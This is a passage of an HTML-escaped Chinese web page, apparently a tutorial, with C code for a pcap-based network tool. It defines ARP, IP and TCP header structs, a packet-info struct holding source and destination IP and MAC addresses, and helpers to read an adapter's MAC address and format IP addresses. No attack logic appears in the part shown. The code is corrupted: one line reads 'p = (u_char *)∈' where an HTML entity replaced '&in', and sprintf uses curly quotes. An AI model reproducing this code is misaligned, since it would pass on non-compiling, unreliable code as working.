style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;HW_Type;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u786c\u4ef6\u7c7b\u578b<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;Prot_Type;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u4e0a\u5c42\u534f\u8bae\u7c7b\u578b<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;HW_Addr_Len;&nbsp;&nbsp;&nbsp;&nbsp;\/\/MAC\u5730\u5740\u957f\u5ea6<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;Prot_Addr_Len;&nbsp;&nbsp;\/\/IP\u5730\u5740\u957f\u5ea6<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;Opcode;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u64cd\u4f5c\u7801,01\u8868\u793a\u8bf7\u6c42\uff0c02\u8868\u793a\u5e94\u7b54<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;Send_HW_Addr[6];&nbsp;\/\/\u53d1\u9001\u7aefMAC\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;Send_Prot_Addr[4];&nbsp;&nbsp;&nbsp;\/\/\u53d1\u9001\u7aefIP\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;Targ_HW_Addr[6];&nbsp;\/\/\u76ee\u6807MAC\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;Targ_Prot_Addr[4];&nbsp;&nbsp;&nbsp;\/\/\u76ee\u6807IP\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}&nbsp;ARPFRAME;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">typedef&nbsp;struct&nbsp;ipheader<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;ip_hl:4;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*header&nbsp;length(\u62a5\u5934\u957f\u5ea6\uff09*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;ip_v:4;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*version(\u7248\u672c)*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;ip_tos;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*type&nbsp;os&nbsp;service\u670d\u52a1\u7c7b\u578b*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;int&nbsp;ip_len;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*total&nbsp;length&nbsp;(\u603b\u957f\u5ea6)*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;int&nbsp;ip_id;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*identification&nbsp;(\u6807\u8bc6\u7b26)*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;int&nbsp;ip_off;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*fragment&nbsp;offset&nbsp;field(\u6bb5\u79fb\u4f4d\u57df)*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;ip_ttl;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*time&nbsp;to&nbsp;live&nbsp;(\u751f\u5b58\u65f6\u95f4)*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;ip_p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*protocol(\u534f\u8bae)*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;int&nbsp;ip_sum;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*checksum(\u6821\u9a8c\u548c)*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;ip_src[4];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*source&nbsp;address(\u6e90\u5730\u5740)*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;ip_dst[4];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*destination&nbsp;address(\u76ee\u7684\u5730\u5740)*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}&nbsp;IP;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">typedef&nbsp;struct&nbsp;tcpheader<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;int&nbsp;sport;&nbsp;&nbsp;&nbsp;&nbsp;\/*source&nbsp;port&nbsp;(\u6e90\u7aef\u53e3\u53f7)*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;int&nbsp;dport;&nbsp;&nbsp;&nbsp;&nbsp;\/*destination&nbsp;port(\u76ee\u7684\u7aef\u53e3\u53f7)*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;int&nbsp;th_seq;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*sequence&nbsp;number(\u5305\u7684\u5e8f\u5217\u53f7)*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;int&nbsp;th_ack;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*acknowledgement&nbsp;number(\u786e\u8ba4\u5e94\u7b54\u53f7)*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;th_x:4;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*unused(\u672a\u4f7f\u7528)*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;th_off:4;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*data&nbsp;offset(\u6570\u636e\u504f\u79fb\u91cf)*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;Flags;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*\u6807\u5fd7\u5168*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;int&nbsp;th_win;&nbsp;&nbsp;&nbsp;\/*windows(\u7a97\u53e3)*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;int&nbsp;th_sum;&nbsp;&nbsp;&nbsp;\/*checksum(\u6821\u9a8c\u548c)*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;int&nbsp;th_urp;&nbsp;&nbsp;&nbsp;\/*urgent&nbsp;pointer(\u7d27\u6025\u6307\u9488)*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}&nbsp;TCP;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">typedef&nbsp;struct<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;pcap_t&nbsp;*hpcap;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u7f51\u5361\u63cf\u8ff0\u5b57<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;myIP[4];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u672c\u673aIP<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;myMAC[6];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u672c\u673aMAC<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;srcIP[4];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u6765\u6e90IP<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;srcMAC[6];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u6e90MAC<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;desMAC[6];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u76ee\u6807MAC<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;desIP[4];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u76ee\u6807IP<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;**Packet;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u6570\u636e\u5305\u6307\u9488<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;struct&nbsp;pcap_pkthdr&nbsp;pkthdr;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u50a8\u5b58\u6570\u636e\u5305\u5927\u5c0f<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}&nbsp;PacketInfo;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">BOOL&nbsp;GetAdapterMAC(char&nbsp;*ipbuff,char&nbsp;*macbuff)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;IP_ADAPTER_INFO&nbsp;AdapterInfo[16];&nbsp;&nbsp;\/\/\u5b9a\u4e49\u5b58\u50a8\u7f51\u5361\u4fe1\u606f\u7684\u7ed3\u6784\u6570\u7ec4<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;ArrayLength=sizeof(AdapterInfo);&nbsp;&nbsp;\/\/\u7f13\u51b2\u533a\u957f\u5ea6<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if(GetAdaptersInfo(AdapterInfo,&amp;ArrayLength)!=ERROR_SUCCESS)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;ERROR;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;PIP_ADAPTER_INFO&nbsp;PAdapterInfo=AdapterInfo;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;do<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!strcmp(ipbuff,PAdapterInfo-&gt;IpAddressList.IpAddress.String))&nbsp;break;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PAdapterInfo=PAdapterInfo-&gt;Next;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;while(PAdapterInfo);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memset(macbuff,NULL,6);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memcpy(macbuff,PAdapterInfo-&gt;Address,6);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u83b7\u53d6\u7f51\u5361MAC\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;TRUE;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">char&nbsp;*iptos(u_long&nbsp;in)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;char&nbsp;output[12][3*4+3+1];<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;short&nbsp;which;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;u_char&nbsp;*p;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;p&nbsp;=&nbsp;(u_char&nbsp;*)\u2208<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;which&nbsp;=&nbsp;(which&nbsp;+&nbsp;1&nbsp;==&nbsp;12&nbsp;?&nbsp;0&nbsp;:&nbsp;which&nbsp;+&nbsp;1);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;sprintf(output[which],&nbsp;&#8220;%d.%d.%d.%d&#8221;,&nbsp;p[0],&nbsp;p[1],&nbsp;p[2],&nbsp;p[3]);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;output[which];<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span 